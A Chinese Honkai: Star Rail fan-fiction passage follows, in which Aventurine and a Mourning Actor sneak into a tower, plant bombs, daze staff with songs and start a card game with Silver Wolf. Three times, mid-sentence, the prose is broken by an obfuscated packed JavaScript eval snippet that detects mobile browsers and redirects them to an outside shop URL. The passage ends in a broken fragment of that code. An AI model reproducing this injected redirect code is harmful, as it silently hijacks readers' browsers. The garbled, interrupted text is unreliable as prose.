“需要我拉您一把吗?” 砂金:“……” 手脚俱全的公司使节不甘示弱地快速爬了上去。 他刚刚爬到露头的位置,忽然感觉到,有数点红色的亮光正在对准他! 是疯牛设置的无人巡游机! 砂金神色一凛,正准备掏出佩枪,忽然悲悼伶人有节奏地用拐杖敲击着地面,奏出一段简易旋律。 那群发着红光的无人巡游机闪烁了两下,那圆滚滚的探测仪旋转了180°,似乎丢失了目标一样,如无头苍蝇般转了几圈,又慢悠悠地沿着既定路线飞远了。 砂金居然在无人巡游机身上看出了无助和茫然。 公司使节快速地攀上平台,站定,平复了一下过速的心脏,借机开口问: “朋友,我能问问你准备怎么潜行吗。再往前,这样的东西只会更多。” 悲悼伶人想了想,慢吞吞地开口说:“我认为潜行的含义是不被人发现地行进。” “……”砂金虚伪地假笑,“很有道理,所以你的潜行计划是?” 悲悼伶人说:“没有计划,我们就这样走进去。” 砂金:“……” 砂金缓缓说:“朋友,你的意思是,我们就这样走进去,谁看见我们,我们就把谁灭口?” 公司使节感到微微震撼。按理来说,悲悼伶人们富于同情心和怜悯心,是一群会给笑到流泪的愚者递手帕的无可救药的老实人……但他眼前这位竟然如此残忍?看来人不可貌相,古话诚不欺我! 悲悼伶人:“……” 悼歌郁郁地开口说:“您对我有误会。” 悼歌继续往前走,步伐依旧稳定而有节奏。 他解释说:“请您放心,我的意思是,我们就这样走进去也没有人会发现我们。” “……”砂金摸着下巴若有所思,“你做了什么?据我所知,这片区域光是监控和热成像探测仪和乱七八糟的防卫技术就不是那么好绕开的。” 悼歌简洁地说:“也许您听说过朋克洛德。” 砂金放下手:“哦,失敬。我没想到你还是个骇客。” 悲悼伶人摇头:“不,我称不上骇客。我是悲悼伶人……我越过此地防线的方式,和我刚刚用于干扰那些巡游机的方式原理类似——是声音。有节奏的脚步声能够在一定程度上干扰此地的‘眼睛’,让你我变成电子屏幕中的幽灵……” 悲悼伶人顿了一下,说:“但我的确认识一位来自朋克洛德的骇客,她在虚拟世界和电子信息技术领域教我良多。这种方式的灵感启发,也是来源于她。” 砂金笑:“你的朋友可真多。又是假面愚者,又是朋克洛德的骇客。” 悼歌:“……” 伶人罕见地犹豫了片刻。 他斟酌着选词地开口说:“这位骇客和我的关系,也许用‘竞争对手’来形容更好。我必须提醒您,也许你我在此处遇见她的概率非常、非常之大。这里有一颗星核,而她和她的团队是星核的追逐者。并且,他们对事情发展的各种信息更是有着绝对的优势……” 骇客。为星核而来的团队。信息上的绝对优势。 这些词迅速在砂金脑海里勾勒出一个熟悉的通缉团伙的名称。 砂金缓缓开口说:“朋友,你口中这个骇客,似乎是我们星际和平公司重金通缉的通缉犯——星核猎手,银狼。” “原来您认识她。”悼歌说,“那么我想即使接下来我们在那座中枢发现她的投影,您也不会感到惊奇了。” 伶人的视线看向那钢铁丛林间贯通上下的巨大圆柱,话语中透露出可怖的信息量。 砂金:“……” 在和伶人接触的这短短两天时间里,公司的使节见识到了此人堪称慷慨的情报分享、脾气过好的友善包容,以及冷不丁的语出惊人。 尽管这位伶人带来的情报尽是些不那么乐观的情报,但公司使节依然敏锐地察觉到伶人的性格中可供他利用的部分。 虽然这位伶人身上诸多古怪,然而他的确是一个标准的悲悼伶人。 伶人那脾气过好的友善包容,也许是来自一种对他身世的同病相怜,简而言之: 他和伶人都没了妈妈没了家,伶人因此在他身上看见自己的影子。 利用这份同病相怜,也许他能和这位伶人达成更有利于他的交易,而摩根勒菲对这位伶人的态度,也比他想象中重视得多…… 但现在,眼前的情况又让他头疼起来。虽然在来之前已经做足了心理准备,但眼下伶人透露出来的意思还是让他的头疼雪上加霜。 砂金摊手,假笑问:“朋友,如果我没听错,你的意思是你要进到那座中枢,并且很可能,那里有一个星核猎手在?” 公司使节伸手指向那座圆柱。 悼歌肯定地回答说:“您的理解能力非常强,这就是我想说的。” 砂金抱臂:“谢谢夸奖,我也觉得我理解能力非常强。另外以防万一,我得问问,你认识这儿的路吗?” 悼歌肯定地说:“我不认识。” 砂金松了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984613|146755||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口气:“原来如此,你不认识……” 砂金顿时顿住:“等等。” “朋友,你是在和我开玩笑吗。”砂金问。 悼歌步伐不变地继续稳稳往前走,说:“您不用担心这个。虽然我不认识路,但是我有别的方式抵达目的地。” 悲悼伶人停顿片刻,委婉地说:“与其担心我认不认得路,不如担心进入中枢之后的问题。虽然这是无人工业区,但是中枢塔内是有人的。” “如果我们被发现……”悲悼伶人语气平静,“最差的结果,你我将被原地击毙;更可能的结果,你我会被当场逮捕,送上同步轨道庄园去当俘虏。” “当然我会尽可能避免这种情况……不过我需要事先提醒,我在□□意义上只是个残疾的悲悼伶人,被杀就会死。您最好不要在肉搏和近身作战方面过于依赖我。”悼歌又攀上一个脚手架,大气不喘地说。 公司使节微妙地静默片刻。 虽然他知道这位伶人对他莫名友善,但这种近似被“照顾”的体验,在他的人生中也堪称少有,更别提这种照顾来自一个……外表上行动不便的羸弱残疾人士? ——虽然,从这位伶人单手单脚攀脚手架的表现来看,他既不羸弱,也难称残疾…… 他正陷入对魔幻现实的迷思,忽然伶人的声音响了起来,提醒他: “我们快要到了。” 伶人停在栏杆边,用拐杖指向一个巨大的圆形通风管道:“您能看见那边那个通风管道吗?接下来我们从那里进入中枢塔。” “……您也许可以止步于此,勿要再前。”悼歌收回拐杖。 “什么话,朋友。来都来了。”砂金笑说。 悼歌消沉地点头,说:“希望仅凭言语劝告一位赌徒收手,是我异想天开……那请小心一些,接下来的路会更危险。” 伶人说完,身先士卒地弯腰,从那里钻了进去。 砂金紧随其后,跟了上去。 —————————— 很显然疯牛的无人工业区对通风管道的清洁不是那么上心,由于静电此地灰尘遍布,蹭了悲悼伶人一身的灰。 更让悼歌难以忍受的是,这些灰更多地落在了他的头发上,一想到清洁头发要付出的工作量,伶人顿时感到身上有万千只蚂蚁在爬。 砂金对此倒是适应良好——毕竟,伶人走在前面,已经无私地用自己的头发和衣服将管道拖了一遍…… 悼歌时走时停,带着他在错综复杂的管道之间像超大号蟑螂一样蠕动爬行,忽然伶人停了下来,将耳朵贴在管道上听了片刻,用气声提醒说: “我们可以下去了。” 伶人轻手轻脚地挪开扇叶,从开口处跳了下去。 砂金赶紧跟上。 一落地,公司使节立刻警惕地打量四周。 看起来他们这是来到了配电室。排布密密麻麻的电箱和满地电线几乎叫人无从下脚。 伶人气压低沉地整理着自己的头发,一边整理,一边用气声说: “接下来请务必跟紧我。我会为我们屏蔽电子探测,但是我们必须避开人眼,所以请放轻声音。” 31.三十一、银狼,你可认得这口黑锅? 公司的使节一语不发地紧紧跟在伶人身后,此刻,他们两个在这座中枢塔宛如做贼。 因为他们真的是贼。 在配电室落地之后,伶人一边默不作声地用手指点着拐杖,持续地敲击一段旋律,一边带他绕过密密麻麻的配电箱和电线,悄无声息地溜到配电室的门边。 伶人蹲下身来,将一枚画得花里胡哨、拳头大小的纽扣贴在电子门的左侧。 “这是什么?”砂金用气声问。 “炸弹。”伶人说。 “……?”砂金说,“朋友,你生怕事情闹不大啊。” “星核的影响很有可能在中枢塔的核心控制室——那里守卫太多了。如果不制造一些动静,我们很难到达那里。”伶人解释说,“接下来我们要前往这座中枢塔的另外三座主配电室,短暂摧毁这座塔的电力供应。也许从断电,到恢复电力,能有二十分钟?” “然后乘着这二十分钟,我们去到核心控制室,找到星核留下的影响,取走一点样本,扬长而去?”砂金问。 伶人犹豫一下:“这也许是您想做的。不过……算了。我想做的也差不多……” “好了,我们去下一座配电室吧。”伶人收回手,重新回到之前的通风管道下方,爬了上去。 砂金跟了上去。 伶人带着公司使节继续在通风管道中匍匐前进。 他们就这样一路有惊无险地安放完另外两座配电室的炸弹。 然而,安放完第三枚炸弹,伶人忽然停了下来。 他若有所思地沉思一会,直起腰来,用气声说: “情况有变。” 砂金:“?” 伶人来不及解释,快速地用拐杖敲击几下地面,这座配电室的门随之打开。 砂金还来不及说什么,伶人已经走过来,左手从固定着的绷带中伸出来,抓住了他的手,带着他快速地走出了配电室。 原来你左手能动? 砂金按下这个冒出来的疑惑,用气声问: “怎么了?” “……” 伶人一边带着他在堪比迷宫的狭窄廊道之间左扭右扭,极限地躲避着巡逻的保卫和工作人员,一边简洁地回答说: “银狼在刚刚骇入了这座中枢塔的主脑。这位行事张扬的骇客留下了挑衅的痕迹和她的专属签名,很快塔内的工作人员将发现这痕迹,并对中枢塔实行全面封锁。如果你我依旧选择走通风管道,也许会被困死其中。” “?”砂金问,“你这又是怎么知道的?朋友,你的秘密未免太多了。” “……” 伶人忍耐着牵动左手的痛楚,慢吞吞地岔开话题说:“这不重要。重要的是,原计划现在不能采用了……” 悼歌郁郁叹气,不由低落地说:“计划总是赶不上变化……但这就是寰宇。” 伶人只消沉了一秒,就重新打起精神来,说: “剩下的那一枚炸弹恐怕不能安置了——时间来不及了。我们要在他们发现银狼留下痕迹的同时引爆先前那三枚炸弹,然后利用部分断电的区域和混乱进入核心控制室。然而,我们的时间大大地缩短了……” “请一定要跟紧我。”伶人强调道。 “听你的,你说了算。”砂金做口型说。 “谢谢您的理解。”伶人拉着砂金躲在拐角的阴影里,示意砂金向那边光亮的走廊处看去。 三个全副武装的巡逻安保正从走廊尽头往他们所在的位置走来。 “您看见那边的三个人了吗?”伶人做手势说,“您能够打晕他们吗?” “哦,朋友,这就来到我的专业领域之一了。”砂金做手势说,“其实我也算得上三十五人规模的自由搏击赛冠军……但我提前一问,你不会是想冒充他们进入核心控制室吧?” “正是。”伶人肯定地说。 砂金还想说什么,然而那三人已经走得近了,于是他暂且闭嘴,示意伶人给他让个身位。 那全副武装的三个无辜安保全然不知等待着他们的是怎样的毒手,此刻仍然松弛自得地悠然前行,只等他们路过这路口的那一刻—— “啊——” “怎——!” 手段残忍的公司使节快准狠地放倒了三个安保,并无声无息地将他们拖进了黑暗之中。 弱小无辜又可怜的三人甚至连痛号都没来得及发出。 砂金把这三个肌肉壮汉堆在伶人脚边,打手势问: “朋友,你不觉得由我们两个来伪装他们,可信度实在不高吗。只要人还没瞎,就看得出来这不是同一个人……” 伶人一边垂首用指节轻轻敲击拐杖,确保这三个安保能睡足八小时,一边头也不抬地回答说: “您所说的换衣伪装是会有这样的问题。但我是悲悼伶人——虽然我不想承认,但是我们的力量的确来自阿哈……” 伶人快速地取下这三个安保的工作证,眼睛扫过那上面的名字,并将其中一个挂在了砂金的脖子上,一个挂在自己的脖子上。 砂金低头看这工作证: 只见自己挂着的这张写着:托尼;悼歌那张上写着:杰克。 ……这甚至没有姓氏,简洁得有些过分了。 公司使节评价道:比起公司来还是差得太远了,疯牛还是不够工业化…… 伶人将第三张工作证缠好收起来,又伙同砂金地把这三个人挪动到一处偏僻的角落。 做完这些,悼歌取出两张阴阳怪气的面具。 伶人将一张按在砂金脸上,一张按在自己脸上,一阵幽绿色的光芒燃烧过后,站在砂金面前的,俨然变成了一个肌肉壮汉—— 正是地上躺着的那不省人事的杰克的脸。 公司使节低头看了看自己的手,发现自己的手也变得宽厚而粗壮。 这倒新奇。 砂金捏了捏自己的手,发现触感也随之变得粗糙而硬邦邦的。 “您准备好了吗?”悼歌打手势问,“那些工作人员已经发现银狼留下来的痕迹——我要引爆炸弹了。” “来吧,朋友。”砂金笑着做手势说。 ———————————————— 滋滋—— 砰!砰!砰! “发生了什么?!为什么突然停电了?!” “星核猎手入侵!第一、三、四号配电室发生了爆炸!” “偏偏在这个时候?!” “不是抱怨的时候!立即启用备用电源!封锁整个工业区!全力搜捕,一个苍蝇都不能放出去!” “是!” 刺耳的警报长鸣,血红色的警戒灯一闪一闪地在中枢塔所有区域亮起。 此刻,因为断电,走廊中一片深黑,只有当闪烁的警戒灯亮起时,才能借着那微弱而冰冷的光线勉强视物。 人群跑动而造成的杂音不停响起,长鸣的警笛更是吵得砂金太阳穴突突地疼。 他和伶人隐没在黑暗中朝着核心控制室极速前进——虽然由于伶人的行动不便,这个极速,实际上也没有多快。 他们借着微弱地红光,在混乱的保卫中前进,一直进到核心控制室邻近的走廊。 在闪烁的红光中跑过来一支三人的小队,领头的那个都快跑过砂金和伶人了,忽而猛地顿住,转身喝道: “你们两个!另一个队员呢?为什么两人行动?!” “报告,”悼歌平静地说,“我们和另一个队员走散了。” “你们和队员走散了?”领头紧紧皱眉,不客气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13997046|146755||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地质问,“出示你们的工作证明!” 悼歌和砂金乖乖地把胸前的工作证明交了上去。 领头身后的两人用枪指着悼歌和砂金,而领头则警惕地接过工作证明,拿过来将那薄薄的卡片弹了弹,露出一个小小扫描仪,扫了扫伶人和砂金的眼睛。 工作证明发出一声悦耳的“叮”,并发出悠悠绿光。 “……”领头反复查看工作证明,狐疑地把这两张卡片还给悼歌和砂金,“没你们事了,去搜你们负责的区域!” 搜捕的工作紧急,领头也不能多做纠缠,简单地查验过后,就带着身后的两人快速离去。 悲悼伶人和砂金继续前行。 断电的另一个好处在此时清晰地显现了:现在所有电子操纵的大门都已经开启,就连核心控制室也不能例外。 他们就这样堂而皇之地在黑暗中从敞开的大门进入核心控制室,此刻这里只剩下寥寥无几的员工,在黑暗中,所有人都惴惴不安,并瑟瑟地发着抖。 他们都是普通人——他们的生命在星核猎手面前,的确太不够看了。 “你,你们为什么折返回来了?”一个女性技术职员借着微光看清了他们,强压下恐惧,严厉地开口问,“你们找到入侵的星核猎手了?” “……” 砂金假笑起来,正准备找个说辞搪塞过去,忽然伶人简洁又清晰地说:“女士,我们就是入侵的星核猎手。” “?”砂金看向悼歌。 这位伶人扯谎的功夫好厉害。一翻嘴皮子,他这个准石心十人就变成了星核猎手!他怎么不知道他是星核猎手? 而那边,女性技术职员和她周围听清楚伶人的话的工作职员,顿时花容失色、面如白纸。 这星核猎手银狼未免太过猖狂!不仅留下骇入痕迹故意挑衅,竟然还跑过来对着他们这些手无缚鸡之力的职员贴脸开大! 幸好这里还有守卫正在候命,只要她大声尖叫,这星核猎手就将为他的傲慢付出代价!! 这位离得过近的女职员张了张嘴巴,正要开口尖叫,忽然伶人掏出一只八音盒。 旋转的八音盒立刻开始播放一阵诡异又低沉的歌声。 虽然那歌声已经有些失真,但如果在场有谁听过悼歌说话,一定能清晰地辨认出,这歌声的主人正是这位伶人。 诡异旋转的八音盒唱道: “听我说—— “捉住一群坏孩子,关进冰冷小笼子。 笼中狱卒没人情,饥饱劳役无休止, 大狗撞破铁栏杆,炮火之间自由至。 花草引来花蝴蝶,大树头顶甜果实, 鸟儿叼枝把巢筑,七人成了一家子。 家里有着七口子,住在穷苦小村子。 村外恶霸把路封,忍饥受饿没饭吃, 枯株朽木难负重,绿草想找肥来施。 草木摇曳果坠地,汁水溅满白砂石, 自家人吃自家人,一家只剩六口子。 家里躲着六口人,栖身荒凉小院子。 大狗乏困睡不醒,碎镜伤了鸟儿翅, 红花绿草难招展,枯株朽木伸不直。 蝴蝶独自飞出家,撞上一群大螽斯, 大虫子吃小虫子,一家只剩五口子。 家里睡着五口人,终日躺在小房子。 天使夜里来造访,唱起和谐交响诗, 旋律动听如美梦,梦里丰衣又足食。 自此凡事皆如意,人人闭眼享安适, 大家千万别睡醒,忘掉那些苦日子。” 顿时,核心控制室内,不管是职员、还是手持武器的守卫,都目光放空,神情呆滞,直流口水。好似一个眨眼,就变成了连炫三十盒脑白金的大聪明。 32.三十二、银狼:朋友,要来一局紧张刺激的牌局么 砂金对着这满室的大聪明,陷入沉思。 他借着红光看清了伶人手上的八音盒——然而他的耳朵并没有听见任何声音,于是他不由问: “你对他们做了什么?是声音?我怎么没听见任何声音?” 悼歌越过这些暂时只能阿巴阿巴的人,走到控制台前,解释说:“我给他们听了一支寓意不那么好的黑童谣,它讲述了梦想之地匹诺康尼的黑暗历史……您没有听见声音,是因为我为您的耳朵屏蔽了这歌声。” 伶人垂首观察控制台上密密麻麻的操纵按钮和显示屏上的数据,说: “请别担心。这支黑童谣并非由我直接唱出,经过八音盒的转录,对他们的影响不会太深……他们最多保持这样呆傻的状态三小时。” “……” 砂金默然,也走到控制台边,浮夸地笑着说: “朋友,你从哪里看出来我在担心他们的安危了?他们是你我的敌人,我为什么要为他们的生命操心?我还不知道,原来我看起来是如此道德高尚的类型?” 伶人抬起头来看了他一眼,慢吞吞地问:“您的意思是,您希望把他们都灭口吗?” “……”砂金一噎。 他竟然从伶人那张时时刻刻都愁眉苦脸的脸上看出一点震惊。 “您不希望。”伶人从他的神情中观察出他真心的答案,继续低下头去鼓捣他的事,说,“而我觉得有同理心不是坏事。您和您的同事既有相似之处,也有不同。如果在这里的是【龙晶】,或者【欧泊】,也许这里已经没有活着的人了。” 伶人按下最后一个按钮,静静地补充说:“……当然,如果是【龙晶】或【欧泊】,他们大概也不会以身犯险,和我来到此地。” “他们嗅觉敏锐,精于算计,又因久居高位,惯于将生命当作某种尚未兑付的‘价值’……我不能说这是缺点,对于公司——尤其对石心十人来说,这样的特质也许帮助他们在许多谈判中取得优势……”伶人想了想,简单地总结,“他们使我想到一些我不太喜欢的假面愚者。” 嗬。这一句话足以概括悼歌对【龙晶】和【欧泊】的态度了。 砂金假笑摊手: “我能认为,你是在变相地夸我么?” 伶人用拐杖点了点屏幕,一旁的某个铁盒子无声无息地被打开。 他取出那里面的东西:是一个盈盈发光的微缩零件样品。 伶人将这份样品装进某个像果冻胶一样冰蓝色的方块中,递给砂金,说:“星核逸散的能量非常危险。外面用来包裹它的凝熔冰注入了欢愉命途的力量,能保护您不受星核的侵蚀。” “……”砂金默然片刻,笑着接过,“谢谢,朋友,太贴心了。这一趟真是来得值。” “您就当这是您陪我走一趟的附赠吧。”悼歌说,“我还是得说,您和您的同事有相似的部分。您太懂悲悼伶人了。” 砂金:“我当你在夸我了,朋友。好咯,事情也办完了,咱们也该撤退了……” “走?你们想去哪?” 一个突兀的少女声线打断了他们的对话。 “……”伶人转身,“银狼。” 虚空之中,一道电子虚影自上而下构筑完毕。梳着单马尾,嚼着泡泡糖的少女说: “好久不见,伶人。你刚刚是不是自认是星核猎手了?我可都听见了。” 砂金仔细打量这位不速之客,心想: 伶人真没骗他。幸好他已经做好心理准备。 “如果您需要,我为此道歉。”伶人上前一步,挡在砂金前面,说,“但言语都是无用。实际上,您故意在此时留下痕迹,导致中枢塔封锁——您是在这儿等我。” 银狼吹出一个泡泡,又吹破了,嚼嚼嚼,笑:“哼。你消息还是这么灵通。” 砂金出声问:“所以这位大名鼎鼎的通缉犯,星核猎手的银狼小姐,你是来做什么来了?星核也不在这儿。劳烦你让让。” “哦。你是公司的?还是战略投资部的。”银狼抱臂,“悼歌,你什么时候和公司的人玩到一块了。忘了伽伦德星上的事了?” “……” 悲悼伶人委婉地说: “谢谢您关心我的交友,非常感谢。但是我现在真的得走了。” 银狼将头上的墨镜滑下来,戴在眼上,笑着说:“我没说要拦你。我最近到伊伊玛尼喀新玩了一个游戏,你也算我的老熟人了,来陪我玩玩怎么样?” “……” 伶人消沉地摩挲了一下拐杖,心想:假如不答应也许还要在这里折腾许久,不情愿地说: “愿闻其详。” “爽快。”银狼说,“那边那个公司的,你要玩么?” 砂金:“……” 砂金笑起来,摊手,轻佻地说:“游戏当然得人多才好玩啊。但是我从来不做赔本的买卖,你不拿点筹码出来,可没办法吸引我。” “啧,公司。”银狼面无表情地切了一声。 她想了想,说:“你们要是赢了,我就把我预先留下的出口送给你们,还免费附赠你们一个情报。” “听起来很不错。”悼歌慢吞吞地问,“那要是我们输了……?” “你输了的话,”银狼无所谓地说,“随便给我什么都行。我只是想玩游戏罢了,奖励倒也没那么重要……但是你们怎么出去,那就不归我管了。” “哦,爽快人,我喜欢。”砂金笑,“这下不得不答应了。来吧朋友,你想玩什么?” “卡牌游戏。”嚼着泡泡糖的星核猎手一边说,一边抬手飞出一组牌。砂金稳稳地以两根手指夹住这两张牌,翻过牌面,看见两个卡通画:一张画着曼陀罗花,一张画着蜷曲盘绕的蛇。 坏了,是靠运气的游戏。伶人顿时心如死灰。 “一个简单的小游戏。”银狼亮出她自己手上的卡牌,说,“三张身份牌,曼陀罗、疯牛、毒蛇。” “你们两个既然是一起的,那我就给你们发同阵营的身份牌了。”银狼说,“曼陀罗和毒蛇的身份牌有两点‘力量’,疯牛有四点。我们会进行三个回合的出牌,每次出牌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14010055|146755||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前都要随机哪方先手。等到结算时,哪边拥有的‘力量’多,哪边就赢了。当然,‘力量’归零的人会提前退出对局。” 又是随机。伶人心如死灰地继续听。 “哦,随机性。我喜欢。”砂金把玩着手里的两张牌,皮笑肉不笑地说,“那么除了身份牌,剩下的手牌呢?” “哼。”银狼自得地笑出声,“剩下的手牌有三种类型:增幅自己、削弱对手、以及本回合行动无效。但‘疯牛’的身份牌自带特质:这张身份牌使用增幅和削弱时,有两次造成的效果翻倍的机会。” “本来这个游戏的手牌是像扑克那样靠抓取的。但是既然我们在这座塔里,我想到一点更刺激的玩法。”银狼兴致勃勃地说,“我把手牌随机藏在这座塔的各处了。一共三组,每组三张,我们每人都要找一组——很公平吧?” “朋友,”砂金假笑摊手,“你只需要找你自己的牌组,但我和悼歌却需要找两组——这公平吗?” “……”银狼垮着脸说,“啧。公司。” 银狼想了想,召唤出一个电子屏幕按了几下,将那份数据抛给砂金,说:“行吧,那我给你们降低一点难度。位置我给你们标出来了,这样总满意了吧。” “好,事不宜迟,我们游戏现在开始。”银狼掸了掸身上不存在的灰尘,自信又迫不及待地笑着说,“哼,悼歌,输给我可别哭。” 悼歌消沉地看着猎手的虚影在空中消退。 “我怀疑这游戏是虚构史学家发明的。”伶人说。 “别管是谁发明的了,伶人。”砂金低头研究两张身份牌,“咱们赢了不就是了?送上门来的出口和情报,居然还有不拿的道理?” “……”伶人真诚地说,“您很自信,我很敬佩。但我得提醒,这类有运气成分的游戏,我们不一定赢。” “就是因为有运气成分,我才不会输。”砂金笑着把“曼陀罗”的身份牌递给伶人,说,“我不是偶然赢了一次,我从来没有输过。瞧好吧伶人,输不了的。” —————————————————— 砂金带着伶人在这混乱的中枢塔内浑水摸鱼。 他们从核心控制室溜出来后不久,中枢塔已经恢复了电力。 一队折返的守卫就发现了核心控制室的异状,因此现在中枢塔内的搜捕更加严密,之前搜查还围绕着出口和爆炸发生地,现在已经搜到各科室内了。 砂金一边研究银狼给的全息电子地图,一边问:“伶人,你那个八音盒还能用第二次吗?” 悼歌慢吞吞地用手指点了点砂金正在看的全息电子地图,为他改正倒着看地图的视角,说:“不能。第二次播放的歌声没有任何特殊效果。” “嗯……我想想。”砂金摸着下巴沉思,“猎手给我们的地图显示,我们的那两组牌被放到了监控室和……“ “监控室和厕所。”砂金顿了一下,补充说,“女厕所。” “……”悲悼伶人郁郁地说,“很好,我已经可以想象我们被当成流氓殴打的场面了。” 33.三十三、游戏开始了,游戏结束了 “别这么悲观,朋友。”砂金把玩着一枚筹码,“我们到监控室了,前面就是。咱们先进去,拿监控室那组牌——至于剩下女厕所的牌么……” “我受够繁文缛节了。”悲悼伶人叹气,简洁地说,“我预备采用一点特殊的手段。” “?”砂金看向伶人,“朋友,你想做什么?” 伶人看了看砂金,说声“原谅”,接着毫不废话,走到监控室的门前,用拐杖点了点门。 监控室的门被伶人强行打开。 里面值班的人悚然一惊,顿时抄起武器对准门口,吼道: “谁——” 他们没来得及说完。 伶人不讲武德地0帧起手,开口清唱出一段诡异的旋律。 这一次,砂金清晰地听见了伶人的歌声。 很难形容这一段歌声——它重重叠叠,好似万人齐颂,而旋律中的音节又首尾相连,渺渺回响,充满庄严齐整之美…… 有某种宏伟的奇观在他眼前再现,好似来自宇宙彼端的辉煌殿堂再一次落成。佳音在洁白的大理石之间回荡,而听者则蒙受歌声之洗,融进永恒的纶音。 “……” “——请不要听那些具有诱惑力的曲子。” 伶人的声音清晰地打断了砂金的聆听,于是他猛地惊觉,伶人已经停下歌声,并将一组空白的电子卡牌放进他的手里。 “……你刚刚,唱了天外合唱班的曲子?”砂金捂着脑袋,试图摆脱那种脑瓜子都在嗡嗡共振的感受,“你不是悲悼伶人吗……?” “是的,所以我才说这是‘特殊的手段’。” 伶人捂着脑袋,转身,对那两个被秩序的合唱控住的人,尽量简短地说:“我需要两位帮我一个忙。我有一件东西落在了b-207和b-214之间的女厕所了,烦请你们将它取出来带给我。” “哦……好的,长官。”那两个人点头,严肃地说。 “……”伶人捂着脑袋,忍耐着眩晕感,补充说,“等一下……如果可能的话,请两位不要直接这样进去。你们可以请一位女同事帮忙把东西带出来……虽然这样也没有多好……” “好的,长官。”那两个人继续点头,严肃地说。 那两个人拿起工作证走出了监控室。 伶人点了点拐杖,门随之关闭。 砂金忍着嗡嗡作响的脑瓜子,说:“朋友,你这曲子还是aoe伤害。” “……我很抱歉。”伶人晕得差点没站稳,他紧急扶在椅子的靠背上,说,“其实我自己也不能完全免除这曲子的效果……我已经尽量为您减轻了。眩晕感是正常的,但不会持续很久。” “……”砂金深呼吸,打开那组电子卡牌,说,“好吧,我们还是先来看看我们运气如何吧。” “我们想赢不容易。但想要平还是简单的。”悲悼伶人说,“只要我们确保每个回合都能出‘无效’,平局就是朴实无华、毫无意外的结果……实际上这个游戏就是为了‘平局’设计的,想赢需要运气。” “前提是,我们能随机到两张以上的‘无效’。”伶人补充说,“否则,银狼只要有两张削弱,她都将一刀一个我,接着一刀你个你,在两个回合里快速解决游戏……” “或许创作这个游戏的作者,也在借这个游戏隐喻伊伊玛尼喀的局势……”悲悼伶人继续说,“他想说,在一点运气的基础上,伊伊玛尼喀维持着微妙的均势。但恐怕他对派系之间的关系有所误解……” 伶人想起来糟糕的局面,神情阴郁一瞬。下一刻他重新打起精神,问: “您随机到的结果如何?” “……”砂金慢吞吞地把三张牌打开: 三张牌,两张上画着剑,一张画着加。 很明显,没有一张是无效。 “……” 悼歌心如死灰地说: “也许我们可以想想输了的应对了。” 砂金收起牌:“别这么悲观。还有一组牌不是吗?” “……您说得不错。”悼歌深呼吸,胡乱分析说,“更何况先后手的顺序也很重要……而且对方的牌组说不定全是‘无效’呢?” “当你不放弃,命运就不会放弃你。”砂金把玩着那三张牌,说,“更何况输了的结果也不是不能接受。比这更糟糕的‘游 戏’我也玩过……朋友,人生无常啊。” “我能看出来,但——”悼歌还想说什么,忽然门被打开了。 折返的监控室守卫将另一组牌组交给悼歌,庄严地对悼歌行了个礼: “老大!我们完美地完成了任务!” “……” 悼歌接过这组牌组,沉重地想:这“完美地完成了任务”的含义,到底是他们硬闯了女厕所,还是他们文明地向一位女士请求帮助,他实在不忍心过问了。 “谢谢。”悼歌说,“麻烦了。我很抱歉……请在十分钟后,自秩序的齐唱中醒来。” 伶人和砂金迅速溜出了监控室。 —————————————————— 他和砂金到达银狼约定好的阴暗角落时,银狼早已经等着了。 很显然这一次不是虚影,而是真身。 “悼歌,”银狼一边嚼着泡泡糖,一边垮着脸说,“你又开挂了。” “……”悲悼伶人委婉地说,“我认为这不算开了——也许您可以说我‘没关’。毕竟我是悲悼伶人,唱歌是我的固有技能……” “好吧。”银狼掏出一个电子骰子,说,“那我们开始游戏了。先骰骰子,按投出的点数出牌:谁小,谁先。” “我先骰了。”银狼嚼着泡泡糖随手抛出一个骰子。 她骰出了一个六。 “到你了?”银狼把骰子递给悼歌。 悼歌骰出了一个一。 这不是很好的出手顺序……悼歌在心中叹息。 砂金:“看起来我不用骰了?” 银狼:“你也可以骰。当作玩游戏的仪式感。” 砂金结果骰子,随后骰出一个三。 “好。那么第一回合:悼歌先出牌,然后是公司的,然后是我。”银狼歪头吹出一个泡泡,“悼歌,你的牌?” “当然……”悼歌一边叹气,一边翻出一张画着“无效”的牌。 不得不如此。 砂金扔出一张“削弱”。 银狼笑了一声,也扔出一张“无效”。 “那么到第二回合了?”银狼把骰子扔给悼歌,“你先骰。” 悼歌不抱希望地骰出一个4。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 